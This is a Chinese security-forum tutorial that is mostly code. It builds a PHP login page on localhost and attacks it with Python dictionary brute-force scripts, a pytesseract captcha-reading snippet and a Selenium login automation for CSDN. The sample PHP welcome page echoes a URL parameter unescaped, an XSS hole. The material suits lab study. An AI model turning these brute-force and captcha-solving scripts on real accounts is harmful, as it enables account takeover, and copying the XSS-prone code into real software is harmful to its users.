前言php
本文首發i春秋論壇。
html
<?php $pdo = new PDO('mysql:host=localhost;dbname=pybp', 'root', 'root'); $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); $pdo->exec("set names 'utf8'"); ?>
<?php include('con_self.php'); ?> <form action='' method='POST' name='form1'> user: <input type='text' name='username'><br> passwd:<input type='text' name='passwd'><br> <input type='submit' value='login' name='login'> <input type='submit' value='add' name='add'> </form> <?php if(isset($_POST['add'])){ $username = htmlspecialchars($_POST['username']); $passwd = htmlspecialchars($_POST['passwd']); $sm = $pdo->prepare("insert into pybp_table(username,passwd) values(?,?)"); $sm->execute(array($username,md5($passwd))); } if(isset($_POST['login'])){ $username = htmlspecialchars($_POST['username']); $passwd = htmlspecialchars($_POST['passwd']); $smt = $pdo->prepare("select * from pybp_table"); $smt->execute(array()); $result = $smt->fetchAll(); if($username===$result[0]['username']&&md5($passwd)===$result[0]['passwd']){ header("Location:/pybp_pdo/welcome_self.php"."?user=".$username); } else{ echo 'login fail'; } } ?>
<html> <p>welcome <?php echo $_GET['user'];?></p> <html>
#coding: utf-8 #author: xiaoye import requests if __name__ == '__main__': data = {} headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0'} url = 'http://localhost/pybp_pdo/login_self.php' #data = {'username':'admin','passwd':'admin','login':'login'} userlist = [x.strip('\n') for x in open('pybp_self_user.txt').readlines()] #print userlist passwdlist = [x.strip('\n') for x in open('pybp_self_passwd.txt').readlines()] #print passwdlist for user in userlist: for passwd in passwdlist: data['username'] = user data['passwd'] = passwd data['login'] = 'login' print data r = requests.post(url,data=data,headers=headers) if r.status_code == 200: if r.content.find('welcome') != -1: print 'user:%s, passwd:%s' % (user,passwd) exit(0) data.clear()
#coding: utf-8 #author: xiaoye import requests from optparse import OptionParser if __name__ == '__main__': parse = OptionParser() parse.add_option('-u','--u',dest='userfile',type='string',help='specify user file') parse.add_option('-p','--p',dest='passfile',type='string',help='specify passwd file') option,args = parse.parse_args() data = {} headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0'} url = 'http://localhost/pybp_pdo/login_self.php' #data = {'username':'admin','passwd':'admin','login':'login'} userlist = [x.strip('\n') for x in open(option.userfile).readlines()] #print userlist passwdlist = [x.strip('\n') for x in open(option.passfile).readlines()] #print passwdlist for user in userlist: for passwd in passwdlist: data['username'] = user data['passwd'] = passwd data['login'] = 'login' print data r = requests.post(url,data=data,headers=headers) if r.status_code == 200: if r.content.find('welcome') != -1: print 'user:%s, passwd:%s' % (user,passwd) exit(0) data.clear()
#coding: utf-8 import pytesseract import PIL image = PIL.Image.open('v2code.png') v = pytesseract.image_to_string(image) print v
from selenium import webdriver from selenium.webdriver.common.keys import Keys import time import re profile_dir = r"C:\Users\xiaoye\AppData\Roaming\Mozilla\Firefox\Profiles\3xhizvy7.default" profile = webdriver.FirefoxProfile(profile_dir) driver = webdriver.Firefox(profile) driver.get("https://passport.csdn.net/account/login?from=http://my.csdn.net/my/mycsdn") elem_user = driver.find_element_by_name("username") elem_user.send_keys("your username") elem_pwd = driver.find_element_by_name("password") time.sleep(2) elem_pwd.send_keys("your passwd") elem_pwd.send_keys(Keys.RETURN) time.sleep(5) assert "baidu" in driver.title driver.close() driver.quit()